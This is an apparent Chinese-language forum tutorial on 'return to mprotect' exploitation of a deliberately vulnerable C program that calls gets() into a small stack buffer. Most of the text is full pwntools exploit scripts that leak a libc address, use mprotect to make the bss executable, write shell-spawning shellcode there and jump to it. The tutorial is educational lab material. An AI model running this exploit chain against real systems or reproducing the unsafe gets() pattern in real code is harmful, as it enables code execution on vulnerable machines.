一步一步分析return to mprotect的利用

看到网上很少专门写这个漏洞利用方式的文章,就想参考自己之前的学习记录来写一篇记录.

原理:

  • mprotect()函数: 用来修改一段指定内存区域的保护属性.

  • 函数原型如下:

    int mprotect(const void* start, size_t len, int prot);
    - void* start: 区段开始位置
    - size_t len: 区段的大小
    - int prot:区段的权限(可以用8进制来表示)
    
  • 我们可以通过mprotect()函数来修改区段的权限(例如bss),使其权限变为(rwx),然后将shellcode写进去并跳转过去.


利用场景:

  • 当一些函数被禁用时(例如system)
  • 需要修改某一些区域的权限以达到自己想做的操作

准备工作:

  • 写一个c来测试一下,为了方便测试,就关闭了canary保护.(附件提供写好的题目,源码和exp)

    #include <stdio.h>
    #include <stdlib.h>
    
    void vuln(){
        char s[0x20];
        puts("Input:");
        gets(&s);
    }
    
    int main(void){
        vuln();
        exit(0);
    }
    
  • 编译:

    gcc -fno-stack-protector test.c -o vuln
    

实验步骤:

  1. 泄漏内存地址,通过计算得到libc地址
  2. 通过mprotect函数来修改一段区域的权限
  3. 向这段区域写入shellcode
  4. 跳转到写入shellcode的区域

Start:

  • #### 检查保护:

    [*] '/mnt/hgfs/Ubuntu/mycode/demo/vuln'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    
  • #### 0x01 : 泄漏内存地址,通过计算得到libc地址
from pwn import *
  r = process('./vuln')
  elf = ELF('./vuln')
  rop = ROP('./vuln')
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  context.binary = './vuln'

  context.log_level = 'debug'
  context.terminal = ['tmux','splitw','-h']

  pop_rdi_ret = 0x0000000000400663
  vuln_addr = 0x00000000004005B6


  #########  step1 : leak_libc
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(elf.got['puts'])
  payload+= p64(elf.plt['puts'])
  payload+= p64(vuln_addr)
  r.recvuntil("Input:")
  r.sendline(payload)
  r.recvline()
  leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
  libc.address = leak_addr - libc.sym['puts']
  success("libc_base = 0x%x",libc.address)


  r.interactive()

运行结果:

  • #### 0x02:通过mprotect函数来修改bss的权限为rwx:
from pwn import *
  r = process('./vuln')
  elf = ELF('./vuln')
  rop = ROP('./vuln')
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  context.binary = './vuln'

  context.log_level = 'debug'
  context.terminal = ['tmux','splitw','-h']

  pop_rdi_ret = 0x0000000000400663
  main_addr = 0x00000000004005DC
  bss_start_addr = 0x00601000

  #########  step1 : leak_libc
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(elf.got['puts'])
  payload+= p64(elf.plt['puts'])
  payload+= p64(main_addr)
  r.recvuntil("Input:")
  r.sendline(payload)
  r.recvline()
  leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
  libc.address = leak_addr - libc.sym['puts']
  success("libc_base = 0x%x",libc.address)
  # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
  pop_rsi_ret = libc.address + 0x00000000000202e8
  # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
  pop_rdx_ret = libc.address + 0x0000000000001b92



  #########  step2 : mprotect_bss_to_rwx
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(bss_start_addr)
  payload+= p64(pop_rsi_ret)
  payload+= p64(0x1000)
  payload+= p64(pop_rdx_ret)
  payload+= p64(0x7)
  payload+= p64(libc.sym['mprotect'])
  payload+= p64(main_addr)

  r.recvuntil("Input:")
  gdb.attach(r)
  r.sendline(payload)

  r.interactive()

查看bss段(修改前):

函数参数:

修改后的bss:

  • #### 0x03 向bss段中写入shellcode:
from pwn import *
  import time
  r = process('./vuln')
  elf = ELF('./vuln')
  rop = ROP('./vuln')
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  context.binary = './vuln'

  context.log_level = 'debug'
  context.terminal = ['tmux','splitw','-h']

  pop_rdi_ret = 0x0000000000400663
  main_addr = 0x00000000004005DC
  bss_start_addr = 0x00601000
  shellcode_addr = 0x00602000-0x100

  #########  step1 : leak_libc
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(elf.got['puts'])
  payload+= p64(elf.plt['puts'])
  payload+= p64(main_addr)
  r.recvuntil("Input:")
  r.sendline(payload)
  r.recvline()
  leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
  libc.address = leak_addr - libc.sym['puts']
  success("libc_base = 0x%x",libc.address)
  # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
  pop_rsi_ret = libc.address + 0x00000000000202e8
  # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
  pop_rdx_ret = libc.address + 0x0000000000001b92



  #########  step2 : mprotect_bss_to_rwx
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(bss_start_addr)
  payload+= p64(pop_rsi_ret)
  payload+= p64(0x1000)
  payload+= p64(pop_rdx_ret)
  payload+= p64(0x7)
  payload+= p64(libc.sym['mprotect'])
  payload+= p64(main_addr)

  r.recvuntil("Input:")
  r.sendline(payload)


  #########  step3 : gets_shellcode_to_bss
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(shellcode_addr)
  payload+= p64(libc.sym['gets'])
  payload+= p64(main_addr)

  r.recvuntil("Input:")
  r.sendline(payload)
  time.sleep(1)
  gdb.attach(r)
  r.sendline(asm(shellcraft.sh())) # context.binary = './vuln'



  r.interactive()
这里需要注意 asm(shellcraft.sh())默认生成的是32位的shellcode 需要自己添加64位支持,本文中的方法为添加:context.binary = './vuln'

可以看到此时shellcode已经写入我们构造的bss段

  • ## 0x04:getshell

    跳转到bss段即可,

    完整的exp如下:

from pwn import *
  import time
  r = process('./vuln')
  elf = ELF('./vuln')
  rop = ROP('./vuln')
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  context.binary = './vuln'

  context.log_level = 'debug'
  context.terminal = ['tmux','splitw','-h']

  pop_rdi_ret = 0x0000000000400663
  main_addr = 0x00000000004005DC
  bss_start_addr = 0x00601000
  shellcode_addr = 0x00602000-0x100

  #########  step1 : leak_libc
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(elf.got['puts'])
  payload+= p64(elf.plt['puts'])
  payload+= p64(main_addr)
  r.recvuntil("Input:")
  r.sendline(payload)
  r.recvline()
  leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
  libc.address = leak_addr - libc.sym['puts']
  success("libc_base = 0x%x",libc.address)
  # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
  pop_rsi_ret = libc.address + 0x00000000000202e8
  # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
  pop_rdx_ret = libc.address + 0x0000000000001b92



  #########  step2 : mprotect_bss_to_rwx
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(bss_start_addr)
  payload+= p64(pop_rsi_ret)
  payload+= p64(0x1000)
  payload+= p64(pop_rdx_ret)
  payload+= p64(0x7)
  payload+= p64(libc.sym['mprotect'])
  payload+= p64(main_addr)

  r.recvuntil("Input:")
  r.sendline(payload)


  #########  step3 : gets_shellcode_to_bss
  payload = cyclic(40)
  payload+= p64(pop_rdi_ret)
  payload+= p64(shellcode_addr)
  payload+= p64(libc.sym['gets'])
  payload+= p64(main_addr)

  r.recvuntil("Input:")
  r.sendline(payload)
  time.sleep(1)
  # gdb.attach(r)
  r.sendline(asm(shellcraft.sh())) # context.binary = './vuln'



  #########  step4 : ret2bss
  payload = cyclic(40)
  payload+= p64(shellcode_addr)
  r.recvuntil("Input:")
  r.sendline(payload)



  r.interactive()

归档.zip (0.004 MB) 下载附件
点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖